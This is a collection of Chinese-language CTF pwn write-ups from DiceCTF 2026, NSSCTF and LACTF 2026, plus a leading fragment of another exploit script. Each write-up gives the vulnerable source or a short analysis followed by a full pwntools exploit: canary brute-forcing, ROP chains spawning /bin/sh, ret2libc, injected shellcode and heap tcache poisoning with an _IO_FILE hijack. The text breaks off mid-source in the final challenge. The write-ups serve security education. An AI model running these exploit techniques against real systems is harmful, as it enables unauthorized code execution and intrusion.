leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

canary = b'\x00'
stack = b''

def url_encode(data):
 if isinstance(data, str):
 data = data.encode()
 return ''.join(f'%{b:02x}' for b in data).encode()

def build_req(method, path, headers=None, body=b''):
 request = f'{method} {path} HTTP/1.1\r\n'.encode()
 if headers is None:
 headers = {}
 if body and 'Content-Length' not in headers:
 headers['Content-Length'] = len(body)
 for k, v in headers.items():
 request += f'{k}: {v}\r\n'.encode()
 request += b'\r\n'
 request += body
 return request

def config(name, ip, subnet_mask, gateway):
 global p
 p = conn()
 s(build_req('POST', '/config', {
 'Cookie': 'token='
 }, b'route_name=' + name + b'&ip=' + ip + b'&subnet_mask=' + subnet_mask + b'&gateway=' + gateway))

def explode_canary():
 global p, canary
 for _ in range(7):
 for i in range(0x100):
 payload = b'A' * 0x28 + url_encode(canary + p8(i))
 config(b'', b'', b'', payload)
 if b'500 Internal Server Error' not in ru(b'\r\n\r\n'):
 canary += p8(i)
 log.success(f'Found canary byte: {i:#x}')
 p.close()
 break
 p.close()

def explode_stack():
 global p, stack
 for _ in range(6):
 for i in range(0x100):
 payload = b'A' * 0x28 + url_encode(p64(canary)) + b'A' * 0x10 + url_encode(stack + p8(i))
 config(b'', b'', b'', payload)
 if b'500 Internal Server Error' not in ru(b'\r\n\r\n'):
 stack += p8(i)
 log.success(f'Found stack byte: {i:#x}')
 p.close()
 break
 p.close()

send_page_addr = 0x402BF1

explode_canary()
canary = u64(canary)
log.success(f'Leaked canary: {hex(canary)}')
explode_stack()
stack = uu64(stack) - 0x170
log.success(f'Leaked stack address: {hex(stack)}')
pause()

payload = b'A' * 0x28 + url_encode(p64(canary)) + b'A' * 0x10 + url_encode(p64(stack + 0x40)) + url_encode(p64(send_page_addr))
fake_stack = flat({
 0x00: stack + 0x20,
 0x08: p32(200),
 0x0C: p32(4),
 0x10: b'flag\x00',
}, filler=b'\x00')
payload += url_encode(fake_stack)
config(b'', b'', b'', payload)
itr()

DiceCTF-2026-Quals 个人题解

Tue, 10 Mar 2026 13:29:00 +0000

bytecrusher

checksec

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91


#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void admin_portal() {
 puts("Welcome dicegang admin!");
 FILE *f = fopen("flag.txt", "r");
 if (f) {
 char read;
 while ((read = fgetc(f)) != EOF) {
 putchar(read);
 }
 fclose(f);
 } else {
 puts("flag file not found");
 }
}

void crush_string(char *input, char *output, int rate, int output_max_len) {
 if (rate < 1) rate = 1;
 int out_idx = 0;
 for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
 output[out_idx++] = input[i];
 }
 output[out_idx] = '\0';
}

void free_trial() {
 char input_buf[32];
 char crushed[32];

 for (int i=0; i<16; i++) {
 printf("Enter a string to crush:\n");
 fgets(input_buf, sizeof(input_buf), stdin);


 printf("Enter crush rate:\n");
 int rate;
 scanf("%d", &rate);

 if (rate < 1) {
 printf("Invalid crush rate, using default of 1.\n");
 rate = 1;
 }

 printf("Enter output length:\n");
 int output_len;
 scanf("%d", &output_len);

 if (output_len > sizeof(crushed)) {
 printf("Output length too large, using max size.\n");
 output_len = sizeof(crushed);
 }

 crush_string(input_buf, crushed, rate, output_len);


 printf("Crushed string:\n");
 puts(crushed);
 }
}

void get_feedback() {
 char buf[16];
 printf("Enter some text:\n");
 gets(buf);
 printf("Your feedback has been recorded and totally not thrown away.\n");
}


#define COMPILE_ADMIN_MODE 0

int main() {
 setvbuf(stdin, NULL, _IONBF, 0);
 setvbuf(stdout, NULL, _IONBF, 0);

 printf("Welcome to ByteCrusher, dicegang's new proprietary text crusher!\n");
 printf("We are happy to offer sixteen free trials of our premium service.\n");

 free_trial();
 get_feedback();
 
 printf("\nThank you for trying ByteCrusher! We hope you enjoyed it.\n");

 if (COMPILE_ADMIN_MODE) {
 admin_portal();
 }
 
 return 0;
}

有越界写，通过选择合适的 rates 可以逐字节泄露 canary 和 pie ，毕竟至少有 16 字节的泄露机会

然后在栈溢出上 ret2text 即可

比较棘手的是本地打需要 Piggyback 技巧，但打远端不用

这比赛还有个神秘的 PoW ，爆破什么的不大现实

IDA

free_trial

get_feedback

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./bytecrusher_patched')
else:
	io = remote('bytecrusher.chals.dicec.tf', 1337)

canary_rates = [0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f]
pie_rates = [0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d]

libc = ELF('./libc.so.6')
	
def crush(rate, output_len):
	io.sendlineafter(b'crush:\n', b'A')
	io.sendlineafter(b'rate:\n', str(rate).encode())
	io.sendlineafter(b'length:\n', str(output_len).encode())

def attack():
	canary = b'\x00'
	for i in canary_rates:
		crush(i, 3)
		io.recvuntil(b"string:\nA")
		canary += io.recv(1)
	canary = u64(canary)
	log.info(f'canary = {hex(canary)}')

	pie = b''
	for i in pie_rates:
		crush(i, 3)
		io.recvuntil(b"string:\nA")
		pie += io.recv(1)
	pie = u64(pie.ljust(8, b'\x00')) - 0x15EC
	log.info(f'pie = {hex(pie)}')

	for _ in range(3):
		crush(1, 3)
	payload = b'A' * 0x18 + p64(canary) + p64(0) + p64(pie + 0x12AD)
	io.sendlineafter(b'text:\n', payload)

	io.interactive()

io.recvuntil(b"proof of work:\n")
pow_cmd = io.recvline().decode('utf-8').strip()
io.recvuntil(b"solution: ")
result = subprocess.check_output(pow_cmd, shell=True).decode('utf-8').strip()
io.sendline(result.encode())
attack()

message-store

checksec

IDA

main

入口

set_message

允许写入 BUFFER

set_message_color

设置 color

print_message

没有校验 COLOR 的大小，存在数组越界写，可以执行函数指针，只要提前往 BUFFER 写入即可

需要注意 from_utf8_lossy

from_utf8_lossy

from_utf8_lossy 是 Rust 标准库中用于处理可能包含无效 UTF-8 序列的字节数据‌ 的方法，其核心特点是 ‌“有损但保证成功”‌

from_utf8_lossy ‌行为‌：若字节序列是有效 UTF-8‌ ，直接借用为 &str ，不分配内存‌ 若遇到无效 UTF-8 字节‌，用 Unicode 替换字符 ‌�（U+FFFD）替换，并返回一个‌新分配的 String‌

BUFFER

攻击思路

利用数组越界写执行函数指针，由于 rax 在执行函数指针时为 from_utf8_lossy 的返回值，结合 xchg rsp, rax; ret; 可以去执行 BUFFER 上布置的 ROP 链，

但是这需要使 BUFFER 上布置的 ROP 链所使用的字节满足 UTF-8 规范：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


1字节：
00–7F

2字节：
C2–DF 80–BF

3字节：
E0 A0–BF 80–BF
E1–EC 80–BF 80–BF
ED 80–9F 80–BF
EE–EF 80–BF 80–BF

4字节：
F0 90–BF 80–BF 80–BF
F1–F3 80–BF 80–BF 80–BF
F4 80–8F 80–BF 80–BF

然后去筛选 gadgets 打 ret2syscall

不过中间还需要布置 /bin/sh ，在 BUFFER 上布置然后传给 rdi 的地址不可能满足 1 字节 UTF-8 规范，但是可以满足 2 字节 UTF-8 规范： 0x2F9FD0 （小端序）

rust pwn 直接逆向比较困难，结合动态分析 / fuzz 去推测漏洞点是很好的技巧

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./challenge')
else:
	io = remote('node5.buuoj.cn', 26980)

def send_message(meesage):
	io.sendlineafter(b'> ', b'1')
	io.sendlineafter(b'New Message? ', meesage)

def send_message_color(color):
	io.sendlineafter(b'> ', b'2')
	io.sendlineafter(b'> ', str(color).encode())

def print_message():
	io.sendlineafter(b'> ', b'3')

def myexit():
	io.sendlineafter(b'> ', b'4')

def attack():
	pop_rdi_pop_rbp_xor_eax_eax_ret = 0x2a1345
	pop_rsi_ret = 0x243431
	mov_rdx_rsi_add_rsp_0x80_pop_rbp_ret = 0x27146b
	mov_rax_rbx_pop_rbx_ret = 0x24577a
	syscall = 0x2a6602
	xchg_rsp_rax_ret = 0x242d78

	bin_sh = 0x2F9FD0
	buffer = 0x2F9E38
	funclist = 0x2F08E8

	rop_chain = flat([
		pop_rdi_pop_rbp_xor_eax_eax_ret,
		bin_sh,
		0,
		pop_rsi_ret,
		0,
		mov_rdx_rsi_add_rsp_0x80_pop_rbp_ret,
		p64(0) * 0x11,
		mov_rax_rbx_pop_rbx_ret,
		59,
		mov_rax_rbx_pop_rbx_ret,
		59,
		syscall,
		xchg_rsp_rax_ret
	])

	payload = flat({
		0x0: rop_chain,
		bin_sh - buffer: '/bin/sh\x00'
	}, filler = '\x00')

	send_message(payload)
	send_message_color((buffer + len(rop_chain) - 8 - funclist) // 8)
	gdb.attach(io)
	print_message()
	io.interactive()

attack()

# .data.rel.ro:00000000002F08E8 funcs_243A92 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize3redB6_
# .bss:00000000002F9E38 ; challenge::BUFFER

# 0x00000000002a1345: pop rdi; pop rbp; xor eax, eax; ret;
# 0x0000000000243431: pop rsi; ret;
# 0x000000000027146b: mov rdx, rsi; add rsp, 0x80; pop rbp; ret;
# 0x000000000024577a: mov rax, rbx; pop rbx; ret;
# 0x00000000002a6602: syscall;

# 0x0000000000242d78: xchg rsp, rax; ret;

# rdi->0x2F9FD0->/bin/sh\x00
# rsi->0
# rdx->0

NSSCTF-西湖论剑-2022-babycalc 题解

Wed, 25 Feb 2026 03:26:00 +0000

题目

题目链接

IDA

main

calc

有一个 buf 相关的 off_by_null 以及由 i 操纵的 off_by_one ，无其余栈溢出漏洞

因此考虑在原栈上做短程迁移以执行 rop 链

要解一个 16 元方程组，图中有解出结果

got

用于泄露 libc 版本

stack

攻击思路

在原栈上做短程迁移以执行 rop 链，注意要在 rop 链前面布置足够长的 ret sled 以提高命中率

在正式攻击前先利用 got 表中信息泄露 libc 版本并获取 libc

正式攻击在两次读入内解决，两次均使用短程迁移

第一次读入泄露 libc 基址，并返回到 main 的开始，这是因为我们需要连续两次 push rbp 支撑后面的连续两次 leave ret 使得栈迁移不会崩溃

第二次 ret2libc 执行 system("/bin/sh") 即可

运行时要多尝试几次

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libcoffsetdict = dict()
libcrealdict = dict()

def libcdict_add(name, addr):
	if addr > 0x1000000:
		libcrealdict[name] = addr
		addr %= 0x1000
	libcoffsetdict[name] = addr

def getlibc(path):
	if not debug:
		return ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))
	else:
		return ELF(path)

def initlibc(libc):
	if not debug:
		subprocess.run(['cp', libc.path, './libc.so.6'])
		subprocess.run(['pwninit', '--no-template'])

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node4.anna.nssctf.cn', 23858)

ret = 0x400CA4
pop_rdi_ret = 0x400CA3
puts_plt = 0x4005D0
puts_got = 0x602018
# printf_got = 0x602020
# read_got = 0x602028
# __libc_start_main_got = 0x602030
pop_rbp_ret = 0x400C3D
again_addr = 0x400C1A

def attack():
	calc = p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161) + p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
	rop = p64(ret) * 21
	rop += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(again_addr)
	# rop += p64(pop_rdi_ret) + p64(printf_got) + p64(puts_plt)
	# rop += p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt)
	# rop += p64(pop_rdi_ret) + p64(__libc_start_main_got) + p64(puts_plt)
	payload = (((bytes(f'{0x18}\x00', 'utf-8').ljust(0x8, b'A') + rop).ljust(0xd0, b'A') + calc).ljust(0xfc, b'A') + p16(0x38)).ljust(0x100, b'\x00')
	io.sendafter(b'number-1:', payload)
	io.recvuntil(b'good done\n')
	puts = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# printf = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# read = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# __libc_start_main = u64(io.recv(6).ljust(8, b'\x00'))
	# libcdict_add('puts', puts)
	# libcdict_add('printf', printf)
	# libcdict_add('read', read)
	# libcdict_add('__libc_start_main', __libc_start_main)
	# libc = getlibc('./libc.so.6')
	# initlibc(libc)
	libc = ELF('./libc.so.6')
	libc_base = puts - libc.symbols['puts']
	log.info(f'libc_base = {hex(libc_base)}')
	system_addr = libc_base + libc.symbols['system']
	bin_sh = libc_base + next(libc.search('/bin/sh'))
	rop = p64(ret) * 22
	rop += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
	payload = (((bytes(f'{0x18}\x00', 'utf-8').ljust(0x8, b'A') + rop).ljust(0xd0, b'A') + calc).ljust(0xfc, b'A') + p16(0x38)).ljust(0x100, b'\x00')
	io.sendafter(b'number-1:', payload)
	io.interactive()

attack()

NSSCTF-GHCTF-2025-ret2libc2 题解

Wed, 25 Feb 2026 00:21:00 +0000

题目

题目链接

checksec

vmmap

这里的 0x3fe000 在远端貌似不存在，被坑了，，，

IDA

main

func

栈溢出漏洞

got

onegadget

需要用 gadget 操纵寄存器

攻击思路

第一次栈迁移到 got 上 leak 出 printf 的地址以获取 libc 基址

第二次栈迁移为 onegadget 执行提供栈空间

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *
from onegadget_selector import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node1.anna.nssctf.cn', 29246)

again_addr = 0x401223
got_hijack = 0x404030
rw_addr = 0x404300
pop_rsi_ret = 0x2be51
pop_rdx_ret = 0x170337

def attack():
	payload = b'A' * 0x30 + p64(got_hijack) + p64(again_addr)
	io.sendafter(b'magic\n', payload)
	printf = u64(io.recv(6).ljust(8, b'\x00'))
	log.info(f'printf = {hex(printf)}')
	libc = ELF('./libc.so.6')
	libc_base = printf - libc.symbols['printf']
	log.info(f'libc_base = {hex(libc_base)}')
	onegadget = select_onegadgets(libc.path) + libc_base
	pop_rsi_ret_addr = pop_rsi_ret + libc_base
	pop_rdx_ret_addr = pop_rdx_ret + libc_base
	payload = b'A' * 0x30 + p64(rw_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rdx_ret_addr) + p64(0) + p64(onegadget)
	io.sendafter(b'magic\n', payload)
	io.interactive()

attack()

NSSCTF-GHCTF-2025-真会布置栈吗？题解

Mon, 23 Feb 2026 22:50:00 +0000

题目

题目链接

checksec

vmmap

没有 rwx 段， ret2shellcode 比较困难

IDA

start

泄露了栈地址，有栈溢出

gadget

xchg 是交换指令

攻击思路

其实就是 ret2syscall ，但是在栈的布局上要下点功夫，可以在一次输入内就完成攻击

布局思路：（其实就是利用 dispatcher 的特性让 rbx 拥有类似 rip 和 rsp 结合体的功能）

1
2
3
4
5
6
7


 syscall_addr
 dispatcher xchg_addr
r15 dispatcher xor_rsi_addr
r13 print1 59 xor_rdx_addr
rbx rsp↑ [stack]---->[ ]
rdi print2 [stack]---->"/bin/sh\x00"
rsi print3 gadget

整合一下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


 syscall_addr rsp+0x38
 xchg_addr rsp+0x30
 xor_rsi_addr rsp+0x28
 xor_rdx_addr rsp+0x20
 "/bin/sh\x00" rsp+0x18
 dispatcher rsp+0x10
r15 dispatcher rsp+0x8
r13 print1 59 rsp+0x0
rbx rsp↑ rsp+0x18
rdi print2 rsp+0x18
rsi print3 gadget

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./attachment')
else:
	io = remote('node6.anna.nssctf.cn', 28007)

gadget = 0x401017
dispatcher = 0x401011
exchange = 0x40100C
xor_rdx = 0x401021
xor_rsi = 0x401027
syscall = 0x401077

def attack():
	io.recvuntil(b'Y. )\n')
	stack = u64(io.recv(8))
	log.info(f'stack = {hex(stack)}')
	payload = flat(p64(gadget), 
			p64(stack + 0x18), 
			p64(stack + 0x18), 
			p64(59),
			p64(dispatcher), 
			p64(dispatcher), 
			b'/bin/sh\x00', 
			p64(xor_rdx), 
			p64(xor_rsi), 
			p64(exchange), 
			p64(syscall))
	io.sendafter(b'>> ', payload)
	io.interactive()

attack()

LACTF2026-pwn 个人题解

Wed, 11 Feb 2026 02:38:00 +0000

tic-tac-no

IDA

main

井字棋

playerMove

数组越界写

checkWin

相同字符就胜利

bss

越界写把电脑的棋子变成自己的就行了，脚本都不用写

ScrabASM

IDA

main

swap_tile

play

其实就是执行随机生成的 shellcode ，但可以更换任意字节为随机字节

攻击思路

由于 srand 以时间作种子，可以考虑在同时运行本地随机数生成程序和攻击脚本以预测随机数，进而控制 shellcode

且由于只有 15 字节的空间，我们可以先执行 read shellcode 再自行写入提权 shellcode

(这张图片用了队友 ItsFlicker 的，懒得自己再截了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


add al, 0xd
push rax
pop rsi
xor edi, edi
push rdi
pop rax
mov dl, 0xf0
syscall

{ 0x04, 0x0D, 0x50, 0x5E, 0x31, 0xFF, 0x57, 0x58, 0xB2, 0xF0, 0x0F, 0x05 }

exp

c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
 int t = time(0);
 srand(t + 2);
 FILE *fp = fopen("./beyond.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 srand(t);
 fp = fopen("./present.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 srand(t + 1);
 fp = fopen("./future.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 return 0;
}

python

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./chall')
else:
	io = remote('chall.lac.tf', 31338)

nowrd = []
prsrd = []
ftrrd = []
bydrd = []
tag = ''
nowstep = [0] * 14
rout = []
fag = [0] * 14
sc = ['04', '0d', '50', '5e', '48', '31', 'ff', '57', '58', 'b2', 'f0', '0f', '05']

def rdbt():
	global nowrd
	io.recvuntil(b'Your starting tiles:')
	for i in range(14):
		io.recvuntil(b'| ')
		nowrd.append(io.recv(2).decode('utf-8'))

def prsbt():
	global prsrd
	with open('present.txt', 'r', encoding = 'utf-8') as f:
		prsrd = f.read().split()

def ftrbt():
	global ftrrd
	with open('future.txt', 'r', encoding = 'utf-8') as f:
		ftrrd = f.read().split()

def bydbt():
	global bydrd
	with open('beyond.txt', 'r', encoding = 'utf-8') as f:
		bydrd = f.read().split()

def randswap():
	prepos = 13
	for nowpos in range(14, 1000):
		flag = 0
		op = 0
		for i in range(len(sc)):
			if sc[i] == nowrd[nowpos] and fag[i] == 0:
				flag = i
				fag[i] = 1
				op = 1
				break
		if op == 1:
			nowstep[flag] = nowpos - prepos
			prepos = nowpos
			rout.append(flag)
		if len(rout) == 14:
			break

def swapidx(idx):
	io.sendline(b'1')
	io.sendline(str(idx).encode())

def attack():
	global rout
	global nowstep
	global nowrd
	global tag
	rdbt()
	prsbt()
	ftrbt()
	bydbt()
	flag = 7
	for i in range(len(nowrd)):
		if nowrd[i] != prsrd[i]:
			flag = flag & 0b110
		if nowrd[i] != ftrrd[i]:
			flag = flag & 0b101
		if nowrd[i] != bydrd[i]:
			flag = flag & 0b011
	if flag == 1:
		tag = 'prs'
		nowrd = prsrd
	elif flag == 2:
		tag = 'prs'
		nowrd = ftrrd
	elif flag == 4:
		tag = 'prs'
		nowrd = bydrd
	print(tag)
	randswap()
	for i in rout:
		for _ in range(nowstep[i]):
			swapidx(i)
	io.sendlineafter(b'> ', b'2')
	mysc = shellcraft.sh()
	io.send(asm(mysc))
	io.interactive()

attack()

tcademy

checksec

保护全开

IDA

main

菜单题

create_note

只有两个槽位

delete_note

print_note

puts 可以通过溢出泄露一些内容

get_note_index

read_data_into_note

此处有由整数溢出造成的堆溢出漏洞

攻击思路

glibc 版本为 2.35 ，是高版本，有 PIE 保护，没有 hook 函数可以劫持

所以考虑劫持某个 _IO_FILE 结构体用来 getshell ，在此之前应先 leak libc

可以通过 tcache poisoning 去把一个 chunk 放入 unsortedbin 中来实现 libc leak

在高版本 libc 中， tcache 劫持的要求会更加严格

首先是 safe-linking 机制，这需要还原泄露出的 next 指针，并且 key 的生成不再与堆地址相关，改为和 canary 类似的随机 8 字节数据

然后是分配 tcache 时的判断，决定 tcache 是否分配的标准由 entry 是否为空变为 counts 是否为 0 ，不能再简单粗暴地劫持 tcache_pthread_struct 就完事了

对于这道题目而言，更加棘手的是同时持有的 chunk 槽位只有两个，而想要通过 tcache poisoning 把目标地址写的权限拿到手至少需要持有两个该 tcache 的 chunk ，这需要我们修改 counts ，而在能够修改 counts 之前的 tcache_pthread_struct 劫持步骤，我们必须预先申请两个相同大小的 chunk 再放入 tcache

而且还要注意不要破坏掉 size ，破坏了也要修复，不然 delete 的时候有你好受

在进行 unsortedbin 布置时我们采用了堆溢出修改 size 结合 counts 篡改的方式，这样可以在持有该 chunk 的情形下将其定位到 unsortedbin ，事后直接 free 即可，非常方便

还要注意一个小细节： tcache_pthread_struct 会被劫持也会被释放，这样的话前面的一些 counts 会变得比较奇怪，而且用于劫持 tcache_pthread_struct 的那个 tcache 会废掉，需要更换 size 做接下来的步骤

最后劫持 IO_2_1_stdout 打 house_of_apple2 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 102

if debug:
	io = process('./chall_patched')
else:
	io = remote('chall.lac.tf', 31144)

libc = ELF('./libc.so.6')

def create(index, size, content):
	io.sendlineafter(b'Choice > ', b'1')
	io.sendlineafter(b'Index: ', str(index).encode())
	io.sendlineafter(b'Size: ', str(size).encode())
	io.sendafter(b'Data: ', content)

def delete(index):
	io.sendlineafter(b'Choice > ', b'2')
	io.sendlineafter(b'Index: ', str(index).encode())

def printnote(index):
	io.sendlineafter(b'Choice > ', b'3')
	io.sendlineafter(b'Index: ', str(index).encode())

def calcnext(ptr, pos):
	return (ptr // 0x1000) ^ pos

def attack():
	msize = 0x7
	nsize = 0xf8
	osize = 0xe8

	create(0, msize, b'\n')		# build arch
	create(1, nsize, b'\n')
	delete(0)
	delete(1)

	payload = b'A' * (0x20 - 1) + b'B'		# leak heap
	create(0, msize, payload)
	printnote(0)
	io.recvuntil(b'AB')
	heap = u64(io.recv(5).ljust(8, b'\x00')) * 0x1000
	log.info(f'heap = {hex(heap)}')
	delete(0)

	payload = b'A' * 0x18 + p64(0x101)		# fix up
	create(0, msize, payload)
	delete(0)
	create(0, nsize, b'\n')
	create(1, nsize, b'\n')
	delete(1)
	delete(0)
	
	toentry = calcnext(heap + 0x2c0, heap + 0x10)		# tcache_pthread_struct hijack
	payload = b'A' * 0x18 + p64(0x91) + p64(toentry).ljust(0x80, b'\x00') + p64(0x90) + p64(0x71)
	create(0, msize, payload)
	delete(0)
	create(0, nsize, '\n')
	payload = (p16(1) + p16(0) * 6 + p16(8)).ljust(0x80, b'\x00')
	create(1, nsize, payload)

	delete(0)		# into unsortedbin
	payload = b'A' * (0x20 - 1) + b'B'
	create(0, msize, payload)
	printnote(0)
	io.recvuntil(b'AB')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
	log.info(f'libc = {hex(libc.address)}')
	delete(0)

	payload = b'A' * 0x18 + p64(0x91) 	# fix up
	create(0, msize, payload)
	delete(0)
	delete(1)
	create(0, osize, b'\n')
	create(1, osize, b'\n')
	delete(1)
	delete(0)

	stdout = libc.sym['_IO_2_1_stdout_']		# stdout hijack
	payload = b'A' * 0x18 + p64(0x101) + p64(0) * 31 + p64(0x101) + p64(0) * 31 + p64(0xf1) + p64(calcnext(heap + 0x4c0, stdout))
	create(0, msize, payload)
	delete(0)
	create(0, osize, '\n')
	fake_io = flat({
			0x0: b" sh;",
			0x28: libc.sym['system'],
			0x88: heap,
			0xA0: stdout - 0x40,
			0xD8: libc.sym['_IO_wfile_jumps'] - 0x20
		},
		filler=b"\x00"
	)
	log.info(f'stdout = {hex(stdout)}')
	create(1, osize, fake_io)
	io.interactive()

attack()

ourUKLA

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_STUDENTS 10

#define UNDERGRAD 0x1
#define MASTERS 0x2
#define PHD 0x4
#define POSTDOC 0x8
#define HASNOLIFE 0x10
#define ACMCYBER 0x20

struct student_info {
 char noeditingmyptrs[0x10]; // No editing my pointers !!!
 char *name;
 unsigned long attributes;
 char major[0x40];
 char aux[0x90];
};
struct student {
 unsigned long array_id;
 unsigned long uid;
 struct student_info *sinfo;
};

struct student *ourUKLA[MAX_STUDENTS] = {0};
int cur_index = 0;

void menu() {
 puts("________________________________________________");
 puts("| ---------- |");
 puts("| ourUKLA v0.1.7 |");
 puts("| ---------- |");
 puts("| 1. Add student |");
 puts("| 2. Get student info |");
 puts("| 3. Remove student |");
 puts("|______________________________________________|");
 puts("");
 printf("Option > ");
}

void init() {
 setvbuf(stdout, NULL, _IONBF, 0);
 malloc(0x18);
 puts("Administrator, welcome to ourUKLA.");
 puts("This is the portal for the University of Kungkungkung LAhur.\n");
}

void fill_student_info(struct student *s) {

 struct student_info *sinfo;
 if (s->sinfo == NULL) sinfo = malloc(sizeof(struct student_info));
 else sinfo = s->sinfo;

 char *name = malloc(0x100);
 printf("Student name: ");
 read(STDIN_FILENO, name, 0x100);
 sinfo->name = name;

 printf("Student major: ");
 read(STDIN_FILENO, sinfo->major, 0x40);

